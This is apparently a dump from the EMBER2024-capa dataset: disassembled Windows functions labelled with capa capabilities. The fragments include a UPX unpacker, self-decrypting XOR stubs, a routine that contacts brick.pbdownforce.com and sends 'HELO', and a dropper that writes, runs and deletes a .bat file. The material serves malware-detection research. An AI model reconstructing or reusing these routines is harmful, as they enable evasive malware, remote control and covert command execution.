joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10132e80
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1013306d
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd3000]
push edi
or ebp, 0xffffffff
jmp 0x10132eaa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x10132eb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10132ea0
mov eax, 1
add ebx, ebx
jne 0x10132ec3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10132ed4
jne 0x10132ef3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10132ef3
dec eax
add ebx, ebx
jne 0x10132ee0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x10132eb8
add ebx, ebx
jne 0x10132eef
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x10132f45
xor ecx, ecx
sub eax, 3
jb 0x10132f0b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x10132f7a
sar eax, 1
mov ebp, eax
jmp 0x10132f16
add ebx, ebx
jne 0x10132f16
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10132ee4
inc ecx
add ebx, ebx
jne 0x10132f24
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10132ee4
add ebx, ebx
jne 0x10132f31
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x10132f26
jne 0x10132f42
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10132f26
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10132f64
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x10132f56
jmp 0x10132ea6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10132f64
add edi, ecx
jmp 0x10132ea6
pop esi
mov edi, esi
mov ecx, 0x3966
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x10132f82
cmp byte [edi], 0x22
jne 0x10132f82
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x10132f87
lea edi, [esi + 0x12a000]
mov eax, dword [edi]
or eax, eax
je 0x10132fff
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x134b24]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x134c48]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10132fb4
mov ecx, edi
jns 0x10132fe3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x134c4c]
or eax, eax
je 0x10132ff9
mov dword [ebx], eax
add ebx, 4
jmp 0x10132fd1
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x10133030
cmp al, 0xef
ja 0x10133023
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x10133005
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x10133012
mov ebp, dword [esi + 0x134c50]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x10133064
sub esp, 0xffffff80
jmp 0x10085025
Function at 0x4805f4
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x480622
mov eax, ebx
call fcn.004810a8
cmp dword [ebx + 0x40], 0
je 0x48061b
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x480693
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x480685
cmp dword [ebx + 8], 0
je 0x480644
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x480656
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x480685
cmp dword [ebx + 8], 0
je 0x480637
cmp eax, 3
je 0x480669
dec eax
jne 0x480637
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x480637
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x480637
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x4806b1
cmp dword [ebx + 0x14], 0xcc
je 0x4806b1
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.004806bc
pop ebx
ret

Function at 0x4964f4
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe5c
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x1a4], edx
mov dword [ebp - 0x1a0], edx
mov esi, eax
xor eax, eax
push ebp
push 0x496645
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x9c], 0x94
lea eax, [ebp - 0x9c]
push eax
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x496540
cmp dword [ebp - 0x8c], 1
je 0x496544
xor ebx, ebx
jmp 0x496546
mov bl, 1
mov dl, 1
mov eax, dword [0x434f9c]
call fcn.0043509c
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x496620
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000002
mov eax, dword [ebp - 4]
call fcn.00435178
test bl, bl
je 0x496583
mov edx, 0x49665c
mov eax, dword [ebp - 4]
call fcn.00435300
jmp 0x496590
mov edx, 0x496690
mov eax, dword [ebp - 4]
call fcn.00435300
lea ecx, [ebp - 0x1a0]
mov edx, 0x4966c8
mov eax, dword [ebp - 4]
call fcn.0043568c
mov edx, dword [ebp - 0x1a0]
lea eax, [esi + 0x1c]
call fcn.004046ac
lea ecx, [ebp - 0x1a4]
mov edx, 0x4966e0
mov eax, dword [ebp - 4]
call fcn.0043568c
mov edx, dword [ebp - 0x1a4]
lea eax, [esi + 0x20]
call fcn.004046ac
mov eax, dword [ebp - 4]
call fcn.00435148
cmp dword [esi + 0x1c], 0
jne 0x49660a
mov dword [ebp - 8], 0xff
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x19c]
push eax
call sub.advapi32.dll_GetUserNameA
lea eax, [esi + 0x1c]
lea edx, [ebp - 0x19c]
mov ecx, pe_nt_image_headers32
call fcn.004048c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x496627
mov eax, dword [ebp - 4]
call fcn.00403908
ret
Function at 0x49d87c
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff6c
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x94], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x49d9fe
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x90]
mov eax, esi
call fcn.0049d55c
mov eax, ebx
call fcn.00424b84
dec al
je 0x49d8c0
dec al
je 0x49d8c6
jmp 0x49d8cc
mov byte [ebp - 0x77], 2
jmp 0x49d8d0
mov byte [ebp - 0x77], 1
jmp 0x49d8d0
mov byte [ebp - 0x77], 0
mov eax, dword [ebp - 0x8c]
or eax, 0x80000000
or eax, 1
or eax, 2
or eax, 4
or eax, 8
or eax, 0x20000000
or eax, 0x40000000
mov dword [ebp - 0x8c], eax
mov eax, ebx
call fcn.00424b10
shl eax, 2
lea eax, [eax + eax*4]
mov dword [ebp - 0x84], eax
mov eax, ebx
call fcn.00424b4c
test al, 1
je 0x49d91c
or dword [ebp - 0x88], 1
mov eax, ebx
call fcn.00424b4c
test al, 2
je 0x49d92e
or dword [ebp - 0x88], 2
mov eax, ebx
call fcn.00424b4c
test al, 4
je 0x49d940
or dword [ebp - 0x88], 4
mov eax, ebx
call fcn.00424b4c
test al, 8
je 0x49d952
or dword [ebp - 0x88], 8
lea edx, [ebp - 0x94]
mov eax, ebx
call fcn.00424a9c
mov edx, dword [ebp - 0x94]
lea eax, [ebp - 0x76]
mov ecx, 0x20
call fcn.004095f4
mov edi, dword [ebx + 0x18]
cmp edi, 0xff000008
je 0x49d985
cmp edi, 0x20000000
jne 0x49d991
mov dword [ebp - 0x88], 0x40000000
jmp 0x49d99b
mov eax, edi
call fcn.004243cc
mov dword [ebp - 0x7c], eax
or dword [ebp - 0x8c], 0x8000000
mov eax, ebx
call fcn.00424bb4
mov byte [ebp - 0x78], al
lea eax, [ebp - 0x3c]
push eax
push 0x3c
mov eax, ebx
call fcn.004248a0
push eax
call sub.gdi32.dll_GetObjectA
test eax, eax
je 0x49d9d8
or dword [ebp - 0x8c], 0x400000
mov ax, word [ebp - 0x2c]
mov word [ebp - 0x56], ax
lea edx, [ebp - 0x90]
mov eax, esi
call fcn.0049d5c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49da05
lea eax, [ebp - 0x94]
call fcn.00404658
ret
Function at 0x4a5ae8
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push eax
mov eax, 4
add esp, 0xfffff004
push eax
dec eax
jne 0x4a5af2
mov eax, dword [esp + 0x4000]
add esp, 0xffffffbc
mov edi, ecx
mov ebp, edx
mov esi, eax
xor ebx, ebx
mov eax, esp
mov edx, esi
call fcn.004095d0
lea eax, [esp + 0x2001]
mov edx, esi
call fcn.004095d0
mov dword [esp + 0x4004], 0x44
xor eax, eax
mov dword [esp + 0x4008], eax
xor eax, eax
mov dword [esp + 0x400c], eax
mov eax, esp
mov dword [esp + 0x4010], eax
xor eax, eax
mov dword [esp + 0x402c], eax
mov word [esp + 0x4036], 0
xor eax, eax
mov dword [esp + 0x4038], eax
mov dword [esp + 0x4030], 1
mov word [esp + 0x4034], 5
xor eax, eax
mov dword [edi], eax
xor eax, eax
mov dword [edi + 4], eax
xor eax, eax
mov dword [edi + 8], eax
xor eax, eax
mov dword [edi + 0xc], eax
push edi
lea eax, [esp + 0x4008]
push eax
mov eax, ebp
call fcn.00404b18
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x20]
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x4a5bca
mov bl, 1
jmp 0x4a5bca
mov eax, dword [0x4b5a6c]
mov eax, dword [eax]
call fcn.0045fa40
mov eax, edi
call fcn.004a5be4
test al, al
jne 0x4a5bbe
mov eax, ebx
add esp, 0x4048
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4afe9c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404b08
mov eax, dword [ebp - 8]
call fcn.00404b08
xor eax, eax
push ebp
push 0x4affc5
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xa
mov eax, dword [ebp - 4]
call fcn.00404b18
push eax
mov eax, dword [0x4b6668]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
test ebx, ebx
je 0x4affa2
push ebx
mov eax, dword [0x4b6668]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
test esi, esi
je 0x4affa2
push ebx
mov eax, dword [0x4b6668]
push eax
call sub.kernel32.dll_SizeofResource
mov edi, eax
push esi
call sub.kernel32.dll_LockResource
mov ebx, eax
xor eax, eax
push ebp
push 0x4aff98
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xffff
push dword [ebp - 8]
push 0x4affdc
push dword [ebp - 4]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.004049d8
mov ecx, dword [ebp - 0x10]
mov dl, 1
mov eax, dword [0x419504]
call fcn.0041db70
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4aff87
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, ebx
mov ecx, edi
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x10]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4aff8e
mov eax, dword [ebp - 0xc]
call fcn.00403908
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4affcc
lea eax, [ebp - 0x10]
call fcn.00404658
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040467c
ret

Function at 0x4b0538
Capabilities:
Terminate process

Disassembly:
push ebx
xor ebx, ebx
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push ebx
push eax
call sub.kernel32.dll_TerminateProcess
pop ebx
ret
Function at 0x424c75
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00424af4

Function at 0x428dba
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00428a7a

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x406ac2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x406ad1
pop dword [ebp - 0x40]
mov eax, 0xdac50b43
add eax, 0x257b5f8e
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xef548a70
sub dword [ebp - 0x50], 0xa1024525
mov dword [ebp - 0x4c], 0x6a131c39
add dword [ebp - 0x4c], 0xc820300c
mov dword [ebp - 0x48], 0x6dccb6b4
add dword [ebp - 0x48], 0xde7f8d7a
mov dword [ebp - 0x44], 0x75e544b2
add dword [ebp - 0x44], 0x8a1abb4e
lea eax, [ebp - 0x50]
push eax
mov eax, 0x5e1d7bfc
sub eax, 0x5ddcaba8
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x57125083
sub dword [ebp - 0x50], 0xe29fe72d
mov dword [ebp - 0x4c], 0x394564e8
add dword [ebp - 0x4c], 0x826fc8d
mov dword [ebp - 0x48], 0xd38c6cba
sub dword [ebp - 0x48], 0x701d004e
mov dword [ebp - 0x44], 0x25ae2443
add dword [ebp - 0x44], 0xda51dbbd
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x9a4637ce
add eax, 0x65fa987e
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x373be
push 0
call eax
mov ecx, 0x3dc8
mov ebx, eax
mov edi, 0xe9170838
add edi, 0x172aa7c8
add edi, dword [ebp - 0x40]
mov edx, 0xead77d7e
mov esi, dword [edi]
mov dword [ebp - 8], 0xf6893b95
xor esi, edx
add dword [ebp - 0xc], esi
mov dword [ebx], esi
add ebx, 0xd793e015
sub ebx, 0xd793e011
add edi, 4
loop 0x406be7
add eax, 0xe9f3
xor ebx, ebx
add ebx, eax
add eax, 0x1799ddbc
add eax, 0xe8662249
mov ecx, 0x2d2b7d14
add ecx, 0xd31482ec
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x4016a0
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, ecx
mov esi, edi
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4016b0
sub esi, ecx
lea eax, [esi + 1]
push eax
call fcn.00402766
add esp, 4
mov edx, eax
sub eax, edi
nop dword [eax]
mov cl, byte [edi]
lea edi, [edi + 1]
mov byte [eax + edi - 1], cl
test cl, cl
jne 0x4016d0
xor eax, eax
test esi, esi
jle 0x4016f7
xor byte [edx + eax], al
lea ecx, [edx + eax]
inc eax
cmp eax, esi
jl 0x4016e3
pop edi
mov byte [edx + esi], 0
mov eax, edx
pop esi
ret
mov byte [edx + esi], al
mov eax, edx
pop edi
pop esi
ret
Function at 0x401950
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push str.brick.pbdownforce.com
call dword [0x4064cc]
test eax, eax
je 0x401979
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push ebx
push 6
push 1
push 2
mov dword [ebp - 0x244], 0x29a0002
mov dword [ebp - 0x240], eax
call dword [0x4064c0]
mov ebx, eax
lea eax, [ebp - 0x244]
push 0x10
push eax
push ebx
mov dword [ebp - 0x248], ebx
call dword [0x4064b8]
cmp eax, 0xffffffff
je 0x401b10
cmp ebx, 0xffffffff
je 0x401b10
push esi
push edi
mov edi, dword [0x4060c0]
mov esi, edi
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4019d0
sub esi, ecx
lea eax, [esi + 1]
push eax
call fcn.00402766
mov edx, eax
add esp, 4
mov dword [ebp - 0x24c], edx
sub eax, edi
nop
mov cl, byte [edi]
lea edi, [edi + 1]
mov byte [eax + edi - 1], cl
test cl, cl
jne 0x4019f0
xor ecx, ecx
test esi, esi
jle 0x401a0e
xor byte [edx + ecx], cl
lea eax, [edx + ecx]
inc ecx
cmp ecx, esi
jl 0x401a03
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov byte [edx + esi], 0
xor esi, esi
lea ebx, [esi + 0x1a]
nop dword [eax]
call edi
cdq
idiv ebx
mov al, byte [edx + str.abcdefghijklmnopqrstuvwxyz]
mov byte [ebp + esi - 0x34], al
inc esi
cmp esi, 8
jl 0x401a20
push 0x64
mov byte [ebp - 0x2c], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.HELO]
mov ebx, dword [ebp - 0x248]
mov dword [ebp - 0xc], eax
mov al, byte [0x404408]
mov byte [ebp - 8], al
lea eax, [ebp - 0xc]
push eax
push ebx
call fcn.00401700
mov eax, dword [str._s__s]
mov dword [ebp - 0x14], eax
mov ax, word [0x404410]
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24c]
lea eax, [ebp - 0x14]
push eax
push ebx
call fcn.00401700
add esp, 0x18
lea eax, [ebp - 0x234]
xor esi, esi
push esi
push 1
push eax
push ebx
call dword [0x4064a0]
test eax, eax
jle 0x401afd
mov al, byte [ebp + esi - 0x234]
cmp al, 0xa
je 0x401ac6
cmp al, 0xd
je 0x401ab3
inc esi
jmp 0x401ae5
cmp esi, 0x200
jae 0x401b21
mov byte [ebp + esi - 0x234], 0
inc esi
jmp 0x401ae5
cmp esi, 0x200
jae 0x401b21
lea edx, [ebp - 0x234]
mov byte [ebp + esi - 0x234], 0
mov ecx, ebx
call fcn.00401b30
xor esi, esi
push 0
push 1
lea eax, [ebp - 0x234]
add eax, esi
push eax
push ebx
call dword [0x4064a0]
test eax, eax
jg 0x401aa1
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402556
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
pop ebx
call fcn.00402556
mov esp, ebp
pop ebp
ret
call fcn.0040268b
int3
Function at 0x401ff0
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x400
lea eax, [ebp - 0x414]
mov dword [ebp - 0x14], 0x5c3a00
xorps xmm0, xmm0
mov dword [ebp - 8], 0
push 0
push eax
movq qword [ebp - 0x10], xmm0
call sub.VCRUNTIME140.dll_memset
mov al, byte [0x4064a8]
add esp, 0xc
mov byte [ebp - 0x14], al
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 0xc]
lea eax, [ebp - 0x414]
push 0xffffffffffffffff
push eax
call fcn.00401000
mov ecx, dword [eax]
push dword [eax + 4]
or ecx, 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___stdio_common_vsprintf]
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov esi, 3
add esp, 0x1c
lea ebx, [esi + 0xf]
call edi
cdq
idiv ebx
add dl, 0x42
mov byte [ebp + esi - 0x14], dl
inc esi
cmp esi, 8
jl 0x402071
lea ecx, [ebp - 0x14]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402087
mov eax, dword [str..bat]
push 0
push 0x80
push 2
mov dword [ecx], eax
mov al, byte [0x404470]
push 0
push 0
mov byte [ecx + 4], al
lea eax, [ebp - 0x14]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [ebp - 0x414]
mov esi, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4020c7
push 0
lea eax, [ebp - 0x418]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x414]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea eax, [ebp - 0x14]
push eax
call dword [0x4064ac]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp + 8], 0
pop edi
pop esi
pop ebx
je 0x402119
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402556
mov esp, ebp
pop ebp
ret
Function at 0x402e9e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402edd
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402edd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402edd
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402edd
cmp dword [ecx + 0x74], 0xe
jbe 0x402edd
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1016bdd
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push 0x10024e8
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1016c35
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x100213a
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1016c28
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x1016c37
xor eax, eax
pop esi
leave
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40b660
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46780b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045c326
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40b6e2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045a23d
mov eax, dword [eax]
push 0x47f1c0
push eax
call fcn.0044d0a4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045c5b1
test bl, bl
je 0x40b6e2
push 0x47f1c0
lea ecx, [esp + 0xc]
call fcn.0045c941
push 0x482d34
lea ecx, [esp + 0xc]
call fcn.0045c941
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40b71e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045c5b1
jmp 0x40b7e9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40b7a2
lea edx, [esp + 0x7c]
push 0x482d30
push edx
call fcn.0044d0a4
add esp, 8
test eax, eax
je 0x40b7a2
lea eax, [esp + 0x7c]
push 0x482d2c
push eax
call fcn.0044d0a4
add esp, 8
test eax, eax
je 0x40b7a2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40b732
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045c5b1
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40bfe0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40c042
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc